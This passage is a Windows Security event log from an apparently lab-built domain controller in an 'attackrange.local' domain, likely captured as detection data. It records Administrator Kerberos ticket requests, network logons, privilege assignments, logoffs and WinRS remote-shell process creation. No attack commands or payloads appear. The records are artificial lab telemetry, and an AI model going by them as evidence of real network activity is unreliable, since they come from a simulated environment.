This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252870
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252869
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252868
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1390
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252867
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252866
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252865
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252864
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252863
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252862
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252861
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D1FB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252860
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252859
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178FF4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252858
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D1FB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252857
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D1FB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252856
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252855
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252854
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252853
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D052

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252852
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D052

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252851
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D052
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252850
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252849
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252848
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252847
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17ADC6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252846
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17A557

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252845
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17923F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252922
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x180B1F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252921
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x180B1F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252920
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252919
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

